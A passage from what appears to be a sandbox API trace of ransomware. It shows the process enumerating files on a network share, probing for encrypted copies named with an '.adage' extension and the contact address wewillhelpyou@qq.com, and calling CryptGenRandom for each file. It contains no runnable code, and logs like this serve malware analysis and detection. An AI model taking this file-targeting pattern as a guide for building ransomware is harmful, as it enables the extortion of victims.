"\\\\192.168.0.1\\documents\\ywcd6y1im3n9j4gz20ya.png")) returned 0x80 [0140.758] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ywcd6Y1iM3n9j4GZ20Ya.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ywcd6y1im3n9j4gz20ya.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.758] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ywcd6Y1iM3n9j4GZ20Ya.png" (normalized: "\\\\192.168.0.1\\documents\\ywcd6y1im3n9j4gz20ya.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.788] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.788] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhsbCQy.csv" (normalized: "\\\\192.168.0.1\\documents\\ahsbcqy.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.796] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=50689) returned 1 [0140.796] CloseHandle (hObject=0x2b0) returned 1 [0140.796] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhsbCQy.csv" (normalized: "\\\\192.168.0.1\\documents\\ahsbcqy.csv")) returned 0x80 [0140.797] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhsbCQy.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ahsbcqy.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.797] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhsbCQy.csv" (normalized: "\\\\192.168.0.1\\documents\\ahsbcqy.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.855] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.855] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tE4nVH8Z0MXjyxhaHaNx.pdf" (normalized: "\\\\192.168.0.1\\documents\\te4nvh8z0mxjyxhahanx.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.862] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=72631) returned 1 [0140.862] CloseHandle (hObject=0x2b0) returned 1 [0140.862] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tE4nVH8Z0MXjyxhaHaNx.pdf" (normalized: "\\\\192.168.0.1\\documents\\te4nvh8z0mxjyxhahanx.pdf")) returned 0x80 [0140.862] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tE4nVH8Z0MXjyxhaHaNx.pdf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\te4nvh8z0mxjyxhahanx.pdf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.863] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tE4nVH8Z0MXjyxhaHaNx.pdf" (normalized: "\\\\192.168.0.1\\documents\\te4nvh8z0mxjyxhahanx.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.885] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.885] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CAYEd2GbRKcU4.jpg" (normalized: "\\\\192.168.0.1\\documents\\cayed2gbrkcu4.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.915] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=38774) returned 1 [0140.915] CloseHandle (hObject=0x2b0) returned 1 [0140.916] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CAYEd2GbRKcU4.jpg" (normalized: "\\\\192.168.0.1\\documents\\cayed2gbrkcu4.jpg")) returned 0x80 [0140.916] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CAYEd2GbRKcU4.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cayed2gbrkcu4.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.916] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CAYEd2GbRKcU4.jpg" (normalized: "\\\\192.168.0.1\\documents\\cayed2gbrkcu4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.002] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0141.002] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BrKxpbhKKRTpU.docx" (normalized: "\\\\192.168.0.1\\documents\\brkxpbhkkrtpu.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.051] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=88923) returned 1 [0141.051] CloseHandle (hObject=0x2b0) returned 1 [0141.052] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BrKxpbhKKRTpU.docx" (normalized: "\\\\192.168.0.1\\documents\\brkxpbhkkrtpu.docx")) returned 0x80 [0141.052] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BrKxpbhKKRTpU.docx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\brkxpbhkkrtpu.docx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.052] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BrKxpbhKKRTpU.docx" (normalized: "\\\\192.168.0.1\\documents\\brkxpbhkkrtpu.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.115] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0141.115] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fmkPuhgsIQDpQcV3y.ppt" (normalized: "\\\\192.168.0.1\\documents\\fmkpuhgsiqdpqcv3y.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.124] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=77362) returned 1 [0141.124] CloseHandle (hObject=0x2b0) returned 1 [0141.124] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fmkPuhgsIQDpQcV3y.ppt" (normalized: "\\\\192.168.0.1\\documents\\fmkpuhgsiqdpqcv3y.ppt")) returned 0x80 [0141.124] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fmkPuhgsIQDpQcV3y.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\fmkpuhgsiqdpqcv3y.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.125] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fmkPuhgsIQDpQcV3y.ppt" (normalized: "\\\\192.168.0.1\\documents\\fmkpuhgsiqdpqcv3y.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.163] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0141.163] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdbHKY8ircatAsd.mp3" (normalized: "\\\\192.168.0.1\\documents\\cdbhky8ircatasd.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.172] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=83427) returned 1 [0141.172] CloseHandle (hObject=0x2b0) returned 1 [0141.172] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdbHKY8ircatAsd.mp3" (normalized: "\\\\192.168.0.1\\documents\\cdbhky8ircatasd.mp3")) returned 0x80 [0141.172] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdbHKY8ircatAsd.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cdbhky8ircatasd.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.172] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdbHKY8ircatAsd.mp3" (normalized: "\\\\192.168.0.1\\documents\\cdbhky8ircatasd.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.210] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0141.210] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6tY3yjB6Dh6qgWl.odp" (normalized: "\\\\192.168.0.1\\documents\\s6ty3yjb6dh6qgwl.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.218] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=91860) returned 1 [0141.219] CloseHandle (hObject=0x2b0) returned 1 [0141.219] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6tY3yjB6Dh6qgWl.odp" (normalized: "\\\\192.168.0.1\\documents\\s6ty3yjb6dh6qgwl.odp")) returned 0x80 [0141.219] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6tY3yjB6Dh6qgWl.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\s6ty3yjb6dh6qgwl.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.220] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6tY3yjB6Dh6qgWl.odp" (normalized: "\\\\192.168.0.1\\documents\\s6ty3yjb6dh6qgwl.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.255] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0141.255] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qllIIB4PUCq.m4a" (normalized: "\\\\192.168.0.1\\documents\\qlliib4pucq.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.263] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=48368) returned 1 [0141.263] CloseHandle (hObject=0x2b0) returned 1 [0141.263] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qllIIB4PUCq.m4a" (normalized: "\\\\192.168.0.1\\documents\\qlliib4pucq.m4a")) returned 0x80 [0141.264] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qllIIB4PUCq.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\qlliib4pucq.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.264] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qllIIB4PUCq.m4a" (normalized: "\\\\192.168.0.1\\documents\\qlliib4pucq.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.308] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0141.308] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zl76M0AJ2xe.ppt" (normalized: "\\\\192.168.0.1\\documents\\zl76m0aj2xe.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0141.733] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=73090) returned 1 [0141.733] CloseHandle (hObject=0x2b4) returned 1 [0141.733] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zl76M0AJ2xe.ppt" (normalized: "\\\\192.168.0.1\\documents\\zl76m0aj2xe.ppt")) returned 0x80 [0141.734] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zl76M0AJ2xe.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zl76m0aj2xe.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.734] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zl76M0AJ2xe.ppt" (normalized: "\\\\192.168.0.1\\documents\\zl76m0aj2xe.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.482] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0142.482] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\byUWhwwpU4G7YhqN.png" (normalized: "\\\\192.168.0.1\\documents\\byuwhwwpu4g7yhqn.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0142.495] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=78400) returned 1 [0142.495] CloseHandle (hObject=0x228) returned 1 [0142.495] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\byUWhwwpU4G7YhqN.png" (normalized: "\\\\192.168.0.1\\documents\\byuwhwwpu4g7yhqn.png")) returned 0x80 [0142.495] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\byUWhwwpU4G7YhqN.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\byuwhwwpu4g7yhqn.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0142.495] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\byUWhwwpU4G7YhqN.png" (normalized: "\\\\192.168.0.1\\documents\\byuwhwwpu4g7yhqn.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.527] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0142.527] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2BmDJ.odp" (normalized: "\\\\192.168.0.1\\documents\\u2bmdj.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0142.537] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=32701) returned 1 [0142.537] CloseHandle (hObject=0x228) returned 1 [0142.537] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2BmDJ.odp" (normalized: "\\\\192.168.0.1\\documents\\u2bmdj.odp")) returned 0x80 [0142.538] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2BmDJ.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\u2bmdj.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0142.538] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2BmDJ.odp" (normalized: "\\\\192.168.0.1\\documents\\u2bmdj.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.718] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0143.718] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bbqSpo4X5l6kKSSGQegr.jpg" (normalized: "\\\\192.168.0.1\\documents\\bbqspo4x5l6kkssgqegr.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0143.775] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=84570) returned 1 [0143.775] CloseHandle (hObject=0x228) returned 1 [0143.775] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bbqSpo4X5l6kKSSGQegr.jpg" (normalized: "\\\\192.168.0.1\\documents\\bbqspo4x5l6kkssgqegr.jpg")) returned 0x80 [0143.776] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bbqSpo4X5l6kKSSGQegr.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bbqspo4x5l6kkssgqegr.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0143.776] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bbqSpo4X5l6kKSSGQegr.jpg" (normalized: "\\\\192.168.0.1\\documents\\bbqspo4x5l6kkssgqegr.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.082] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0144.083] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LtLIcHIqo8.wav" (normalized: "\\\\192.168.0.1\\documents\\ltlichiqo8.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0144.114] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=95072) returned 1 [0144.114] CloseHandle (hObject=0x228) returned 1 [0144.115] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LtLIcHIqo8.wav" (normalized: "\\\\192.168.0.1\\documents\\ltlichiqo8.wav")) returned 0x80 [0144.115] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LtLIcHIqo8.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ltlichiqo8.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0144.115] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LtLIcHIqo8.wav" (normalized: "\\\\192.168.0.1\\documents\\ltlichiqo8.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.232] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0144.232] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iVoyxyaCL.doc" (normalized: "\\\\192.168.0.1\\documents\\ivoyxyacl.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0144.566] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=74854) returned 1 [0144.567] CloseHandle (hObject=0x228) returned 1 [0144.572] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iVoyxyaCL.doc" (normalized: "\\\\192.168.0.1\\documents\\ivoyxyacl.doc")) returned 0x80 [0144.653] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iVoyxyaCL.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ivoyxyacl.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0144.660] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iVoyxyaCL.doc" (normalized: "\\\\192.168.0.1\\documents\\ivoyxyacl.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0145.109] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0145.109] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\T3PGQZ2VabtjY5.mp4" (normalized: "\\\\192.168.0.1\\documents\\t3pgqz2vabtjy5.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0145.202] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=58465) returned 1 [0145.202] CloseHandle (hObject=0x228) returned 1 [0145.202] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\T3PGQZ2VabtjY5.mp4" (normalized: "\\\\192.168.0.1\\documents\\t3pgqz2vabtjy5.mp4")) returned 0x80 [0145.203] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\T3PGQZ2VabtjY5.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\t3pgqz2vabtjy5.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0145.203] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\T3PGQZ2VabtjY5.mp4" (normalized: "\\\\192.168.0.1\\documents\\t3pgqz2vabtjy5.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0145.230] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0145.230] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ppEQNd41NzmPglbQ.ppt" (normalized: "\\\\192.168.0.1\\documents\\ppeqnd41nzmpglbq.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0145.234] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=71268) returned 1 [0145.234] CloseHandle (hObject=0x228) returned 1 [0145.234] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ppEQNd41NzmPglbQ.ppt" (normalized: "\\\\192.168.0.1\\documents\\ppeqnd41nzmpglbq.ppt")) returned 0x80 [0145.235] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ppEQNd41NzmPglbQ.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ppeqnd41nzmpglbq.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0145.235] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ppEQNd41NzmPglbQ.ppt" (normalized: "\\\\192.168.0.1\\documents\\ppeqnd41nzmpglbq.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0145.785] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0145.785] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NZjMmNKkZjRI.png" (normalized: "\\\\192.168.0.1\\documents\\nzjmmnkkzjri.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0145.895] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=95575) returned 1 [0145.895] CloseHandle (hObject=0x228) returned 1 [0145.895] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NZjMmNKkZjRI.png" (normalized: "\\\\192.168.0.1\\documents\\nzjmmnkkzjri.png")) returned 0x80 [0145.896] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NZjMmNKkZjRI.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nzjmmnkkzjri.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0145.896] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NZjMmNKkZjRI.png" (normalized: "\\\\192.168.0.1\\documents\\nzjmmnkkzjri.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.318] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0146.318] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tdyTR6vSlTZHl.m4a" (normalized: "\\\\192.168.0.1\\documents\\tdytr6vsltzhl.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 